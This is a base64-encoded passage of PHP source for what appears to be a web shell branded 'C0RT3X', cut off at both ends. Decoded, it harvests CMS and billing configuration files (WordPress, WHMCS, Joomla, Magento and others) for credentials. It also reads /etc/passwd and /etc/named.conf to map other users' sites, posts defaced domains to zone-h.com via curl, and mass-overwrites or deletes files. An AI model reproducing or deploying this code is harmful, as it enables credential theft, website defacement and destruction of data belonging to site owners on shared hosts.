zL2NvbmZpZy5pbmkiID0+ICJCb3NXZWIiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCIgPT4gIkxva29tZWRpYSIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvbG9rb21lZGlhL2NvbmZpZy9rb25la3NpLnBocCIgPT4gIkxva29tZWRpYSIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvY2xpZW50YXJlYS9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwJCQkJCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCIgPT4gInBocEJCIiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCIgPT4gIkRydXBhbCIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvY29uZmlnL3NldHRpbmdzLmluYy5waHAiID0+ICJQcmVzdGFTaG9wIiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC9hcHAvZXRjL2xvY2FsLnhtbCIgPT4gIk1hZ2VudG8iLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAiID0+ICJPcGVuQ2FydCIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvc2xjb25maWcucGhwIiA9PiAiU2l0ZWxvayIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvYXBwbGljYXRpb24vY29uZmlnL2RhdGFiYXNlLnBocCIgPT4gIkVsbGlzbGFiIiwJCQkJCQoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC93aG1jL1dITS9jb25maWd1cmF0aW9uLnBoIiA9PiAiV0hNQyIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvY2VudHJhbC9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITSBDZW50cmFsIiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC93aG0vV0hNQ1MvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvd2htL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCQkJCQkJCQkJCQoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwJCQkJCQoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL0pvb21sYS9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYUpvb21sYSIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhSm9vbWxhIiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC9KT09NTEEvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGFKb29tbGEiLAkJCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvSG9tZS9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYUhvbWUiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL0hPTUUvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGFIb21lIiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhSG9tZSIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvTkVXL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhTmV3IiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC9OZXcvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGFOZXciLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYU5ldyIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvTmV3cy9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYU5ld3MiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL05FV1MvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGFOZXdzIiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC9uZXdzL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhTmV3cyIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvQ21zL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhQ21zIiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC9DTVMvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGFDbXMiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL2Ntcy9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYUNtcyIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvTWFpbi9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYU1haW4iLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL01BSU4vY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGFNYWluIiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhTWFpbiIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvQmxvZy9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYUJsb2ciLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL0JMT0cvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGFCbG9nIiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhQmxvZyIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvQmxvZ3MvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGFCbG9ncyIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvQkxPR1MvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGFCbG9ncyIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvYmxvZ3MvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGFCbG9ncyIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvYmV0YS9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYUJldGEiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL0JldGEvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGFCZXRhIiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC9CRVRBL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhQmV0YSIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvUFJFU1MvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGFQcmVzcyIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvUHJlc3MvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGFQcmVzcyIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvcHJlc3MvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGFQcmVzcyIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvV3AvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGFXcCIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvd3AvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGFXcCIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvV1AvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGFXUCIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhUG9ydGFsIiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC9QT1JUQUwvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGFQb3J0YWwiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL1BvcnRhbC9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYVBvcnRhbCIsCQkJCQkKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwIiA9PiAiV29yZFByZXNzIiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc1dvcmRwcmVzcyIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvV29yZHByZXNzL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkUHJlc3NXb3JkcHJlc3MiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL1dPUkRQUkVTUy93cC1jb25maWcucGhwIiA9PiAiV29yZFByZXNzV29yZHByZXNzIiwJCQoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL0hvbWUvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc0hvbWUiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL0hPTUUvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc0hvbWUiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL2hvbWUvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc0hvbWUiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL05FVy93cC1jb25maWcucGhwIiA9PiAiV29yZFByZXNzTmV3IiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC9OZXcvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc05ldyIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAiID0+ICJXb3JkUHJlc3NOZXciLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL05ld3Mvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc05ld3MiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL05FV1Mvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc05ld3MiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc05ld3MiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL0Ntcy93cC1jb25maWcucGhwIiA9PiAiV29yZFByZXNzQ21zIiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC9DTVMvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc0NtcyIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvY21zL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkUHJlc3NDbXMiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL01haW4vd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc01haW4iLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL01BSU4vd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc01haW4iLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc01haW4iLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL0Jsb2cvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc0Jsb2ciLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL0JMT0cvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc0Jsb2ciLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc0Jsb2ciLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL0Jsb2dzL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkUHJlc3NCbG9ncyIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvQkxPR1Mvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc0Jsb2dzIiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwIiA9PiAiV29yZFByZXNzQmxvZ3MiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc0JldGEiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL0JldGEvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc0JldGEiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL0JFVEEvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc0JldGEiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL1BSRVNTL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkUHJlc3NQcmVzcyIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvUHJlc3Mvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc1ByZXNzIiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwIiA9PiAiV29yZFByZXNzUHJlc3MiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL1dwL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkUHJlc3NXcCIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc1dwIiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC9XUC93cC1jb25maWcucGhwIiA9PiAiV29yZFByZXNzV1AiLAoJCQkJCSIvaG9tZTMvJHVzZXJfQzBSVDNYL3B1YmxpY19odG1sL3BvcnRhbC93cC1jb25maWcucGhwIiA9PiAiV29yZFByZXNzUG9ydGFsIiwKCQkJCQkiL2hvbWUzLyR1c2VyX0MwUlQzWC9wdWJsaWNfaHRtbC9QT1JUQUwvd3AtY29uZmlnLnBocCIgPT4gIldvcmRQcmVzc1BvcnRhbCIsCgkJCQkJIi9ob21lMy8kdXNlcl9DMFJUM1gvcHVibGljX2h0bWwvUG9ydGFsL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkUHJlc3NQb3J0YWwiCQkJCQkKCQkJCQkJKTsJCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkZ3JhYl9jb25maWcgYXMgJGNvbmZpZyA9PiAkbmFtYV9jb25maWcpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGFtYmlsX2NvbmZpZyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRjb25maWcpOwogICAgICAgICAgICAgICAgICAgICAgICBpZigkYW1iaWxfY29uZmlnID09ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZV9jb25maWcgPSBmb3BlbigiQzBSVDNYX2NvbmZpZy8kdXNlcl9DMFJUM1gtJG5hbWFfY29uZmlnLnR4dCIsInciKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZwdXRzKCRmaWxlX2NvbmZpZywkYW1iaWxfY29uZmlnKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gICAgICAKICAgICAgICAgICAgfQogICAgICAgIH0gIAogICAgfQogICAgZWNobyAiPGNlbnRlcj48YSBocmVmPSc/Jz48Zm9udCBjb2xvcj0nI2YxMjg0ZSc+RG9uZTwvZm9udD48L2E+PC9jZW50ZXI+IjsKICAgIH0gZWxzZWlmKGlzc2V0KCRfR0VUWydqdW1waW5nJ10pID09ICdqdW1waW5nJykgewoJJGkgPSAwOwoJZWNobyAiPHByZT48ZGl2IGNsYXNzPSdtYXJnaW46IDVweCBhdXRvOyc+IjsKCSRldGMgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpOwoJd2hpbGUoJHBhc3N3ZCA9IGZnZXRzKCRldGMpKSB7CgkJaWYoJHBhc3N3ZCA9PSAnJyB8fCAhJGV0YykgewoJCQllY2hvICI8Zm9udCBjb2xvcj1yZWQ+Q2FuJ3QgcmVhZCAvZXRjL3Bhc3N3ZDwvZm9udD4iOwoJCX0gZWxzZSB7CgkJCXByZWdfbWF0Y2hfYWxsKCcvKC4qPyk6eDovJywgJHBhc3N3ZCwgJHVzZXJfanVtcGluZyk7CgkJCWZvcmVhY2goJHVzZXJfanVtcGluZ1sxXSBhcyAkdXNlcl9jMHJ0M3hfanVtcCkgewoJCQkJJHVzZXJfanVtcGluZ19kaXIgPSAiL2hvbWUvJHVzZXJfYzBydDN4X2p1bXAvcHVibGljX2h0bWwiOwoJCQkJaWYoaXNfcmVhZGFibGUoJHVzZXJfanVtcGluZ19kaXIpKSB7CgkJCQkJJGkrKzsKCQkJCQkkanJ3ID0gIls8Zm9udCBjb2xvcj1saW1lPlI8L2ZvbnQ+XSA8YSBocmVmPSc/cGF0aD0kdXNlcl9qdW1waW5nX2Rpcic+PGZvbnQgY29sb3I9I2ZmZmZmZj4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+PGJyPiI7CgkJCQkJaWYoaXNfd3JpdGFibGUoJHVzZXJfanVtcGluZ19kaXIpKSB7CgkJCQkJCSRqcncgPSAiWzxmb250IGNvbG9yPScjMDJCQzhDJz5SVzwvZm9udD5dIDxhIGhyZWY9Jz9wYXRoPSR1c2VyX2p1bXBpbmdfZGlyJz48Zm9udCBjb2xvcj0jZmZmZmZmPiR1c2VyX2p1bXBpbmdfZGlyPC9mb250PjwvYT48YnI+IjsKCQkJCQl9CgkJCQkJZWNobyAkanJ3OwoJCQkJCSRkb21haW5fanVtcCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsJCgkJCQkJaWYoJGRvbWFpbl9qdW1wID09ICcnKSB7CgkJCQkJCWVjaG8gIiA9PiAoIDxmb250IGNvbG9yPXJlZD5nb21lbmUgc2VucGFpLCBkb21haW55YSBnYWsgYmlzYSBkaSBhbWJpbDooPC9mb250PiApPGJyPiI7CgkJCQkJfSBlbHNlIHsKCQkJCQkJcHJlZ19tYXRjaF9hbGwoIiMvdmFyL25hbWVkLyguKj8pLmRiIyIsICRkb21haW5fanVtcCwgJGRvbWFpbnNfanVtcCk7CgkJCQkJCWZvcmVhY2goJGRvbWFpbnNfanVtcFsxXSBhcyAkZGopIHsKCQkJCQkJCSR1c2VyX2p1bXBpbmdfdXJsID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8kZGoiKSk7CgkJCQkJCQkkdXNlcl9qdW1waW5nX3VybCA9ICR1c2VyX2p1bXBpbmdfdXJsWyduYW1lJ107CgkJCQkJCQlpZigkdXNlcl9qdW1waW5nX3VybCA9PSAkdXNlcl9jMHJ0M3hfanVtcCkgewoJCQkJCQkJCWVjaG8gIiA9PiAoIDx1PiRkajwvdT4gKTxicj4iOwoJCQkJCQkJCWJyZWFrOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJfQoJaWYoJGkgPT0gMCkgeyAKCX0gZWxzZSB7CgkJZWNobyAiPGJyPlRvdGFsIGFkYSAiLiRpLiIgY2V3ZWsga2F3YWlpIGRpICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiIiOwoJfQoJZWNobyAiPC9kaXY+PC9wcmU+IjsKfWVsc2VpZihpc3NldCgkX0dFVFsnem9uZWgnXSkgPT0gJ3pvbmVoJykgewoJaWYoJF9QT1NUWydzdWJtaXQnXSkgewoJCSRkb21haW4gPSBleHBsb2RlKCJcclxuIiwgJF9QT1NUWyd1cmwnXSk7CgkJJG5pY2sgPSAgJF9QT1NUWyduaWNrJ107CgkJZWNobyAiT25ob2xkOiA8YSBocmVmPSdodHRwOi8vd3d3LnpvbmUtaC5vcmcvYXJjaGl2ZS9ub3RpZmllcj0kbmljay9wdWJsaXNoZWQ9MCcgdGFyZ2V0PSdfYmxhbmsnPmh0dHA6Ly93d3cuem9uZS1oLm9yZy9hcmNoaXZlL25vdGlmaWVyPSRuaWNrL3B1Ymxpc2hlZD0wPC9hPjxicj4iOwoJCWVjaG8gIkFyY2hpdmU6IDxhIGhyZWY9J2h0dHA6Ly93d3cuem9uZS1oLm9yZy9hcmNoaXZlL25vdGlmaWVyPSRuaWNrJyB0YXJnZXQ9J19ibGFuayc+aHR0cDovL3d3dy56b25lLWgub3JnL2FyY2hpdmUvbm90aWZpZXI9JG5pY2s8L2E+PGJyPjxicj4iOwoJCWZ1bmN0aW9uIHpvbmVoKCR1cmwsJG5pY2spIHsKCQkJJGNoID0gY3VybF9pbml0KCJodHRwOi8vd3d3LnpvbmUtaC5jb20vbm90aWZ5L3NpbmdsZSIpOwoJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwoJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgdHJ1ZSk7CgkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAiZGVmYWNlcj0kbmljayZkb21haW4xPSR1cmwmaGFja21vZGU9MSZyZWFzb249MSZzdWJtaXQ9U2VuZCIpOwoJCQlyZXR1cm4gY3VybF9leGVjKCRjaCk7CgkJCQkgIGN1cmxfY2xvc2UoJGNoKTsKCQl9CgkJZm9yZWFjaCgkZG9tYWluIGFzICR1cmwpIHsKCQkJJHpvbmVoID0gem9uZWgoJHVybCwkbmljayk7CgkJCWlmKHByZWdfbWF0Y2goIi9jb2xvcj1cInJlZFwiPk9LPFwvZm9udD48XC9saT4vaSIsICR6b25laCkpIHsKCQkJCWVjaG8gIiR1cmwgLT4gPGZvbnQgY29sb3I9bGltZT5PSzwvZm9udD48YnI+IjsKCQkJfSBlbHNlIHsKCQkJCWVjaG8gIiR1cmwgLT4gPGZvbnQgY29sb3I9cmVkPkVSUk9SPC9mb250Pjxicj4iOwoJCQl9CgkJfQoJfSBlbHNlIHsKCQllY2hvICI8Y2VudGVyPjxmb3JtIG1ldGhvZD0ncG9zdCc+CgkJPGkgY2xhc3M9J2ZhIGZhLXVzZXInPjwvaT4mbmJzcDs8dT5EZWZhY2VyPC91PjogPGJyPgoJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduaWNrJyBjbGFzcz0nYzByJyB2YWx1ZT0nQzBSVDNYJz48YnI+CgkJPGkgY2xhc3M9J2ZhIGZhLWdsb2JlJz48L2k+Jm5ic3A7PHU+RG9tYWluczwvdT46IDxicj4KCQk8dGV4dGFyZWEgY2xhc3M9J2thdHN1bWknIG5hbWU9J3VybCc+PC90ZXh0YXJlYT48YnI+CgkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyBzdHlsZT0nZm9udC1mYW1pbHk6a2VsbHkgc2xhYjttYXJnaW4tdG9wOjEwcHg7d2lkdGg6MTIwcHg7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtjb2xvcjojZmZmZmZmO2JvcmRlcjoycHggc29saWQgI2YxMjg0ZTtib3JkZXItcmFkaXVzOjJweDsnIHZhbHVlPSdHYXNzIFNlbnBhaSEnPgoJCTwvZm9ybT4iOwoJfQplY2hvICc8L2NlbnRlcj4nOwp9IGVsc2VpZihpc3NldCgkX0dFVFsnbWFzc19kZWZhY2UnXSkgPT0gJ21hc3NfZGVmYWNlJykgewoJZWNobyAiPGNlbnRlcj48Zm9ybSBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCI+XG4iOwoJJGluZGV4ID0gJF9QT1NUWyJzY3JpcHQiXTsKCSRpbmRleCA9IHN0cl9yZXBsYWNlKCciJywiJyIsJGluZGV4KTsKCSRpbmRleCA9IHN0cmlwc2xhc2hlcygkaW5kZXgpOwoJZnVuY3Rpb24gZWRpdF9maWxlKCRmaWxlLCRpbmRleCl7CgkJaWYgKGlzX3dyaXRhYmxlKCRmaWxlKSkgewoJCWNsZWFyX2ZpbGwoJGZpbGUsJGluZGV4KTsKCQllY2hvICI8U3BhbiBzdHlsZT0nY29sb3I6IzAyQkM4QzsnPjxzdHJvbmc+IEJlcmhhc2lsIFNlbnBhaV5fXiA8L3N0cm9uZz48L3NwYW4+PGJyPjwvY2VudGVyPiI7CgkJfSAKCQllbHNlIHsKCQkJZWNobyAiPFNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPjxzdHJvbmc+IEdhZ2FsIFNlbnBhaSA6KCA8L3N0cm9uZz48L3NwYW4+PGJyPjwvY2VudGVyPiI7CgkJCX0KCQkJfQoJZnVuY3Rpb24gaGFwdXNfbWFzc2FsKCRwYXRoLCRuYW1hZmlsZSkgewoJCWlmKGlzX3dyaXRhYmxlKCRwYXRoKSkgewoJCQkkZGlyYSA9IHNjYW5kaXIoJHBhdGgpOwoJCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CgkJCQkkZGlyYyA9ICIkcGF0aC8kZGlyYiI7CgkJCQkkbG9rYXNpID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsKCQkJCWlmKCRkaXJiID09PSAnLicpIHsKCQkJCQlpZihmaWxlX2V4aXN0cygiJHBhdGgvJG5hbWFmaWxlIikpIHsKCQkJCQkJdW5saW5rKCIkcGF0aC8kbmFtYWZpbGUiKTsKCQkJCQl9CgkJCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewoJCQkJCWlmKGZpbGVfZXhpc3RzKCIiLmRpcm5hbWUoJHBhdGgpLiIvJG5hbWFmaWxlIikpIHsKCQkJCQkJdW5saW5rKCIiLmRpcm5hbWUoJHBhdGgpLiIvJG5hbWFmaWxlIik7CgkJCQkJfQoJCQkJfSBlbHNlIHsKCQkJCQlpZihpc19kaXIoJGRpcmMpKSB7CgkJCQkJCWlmKGlzX3dyaXRhY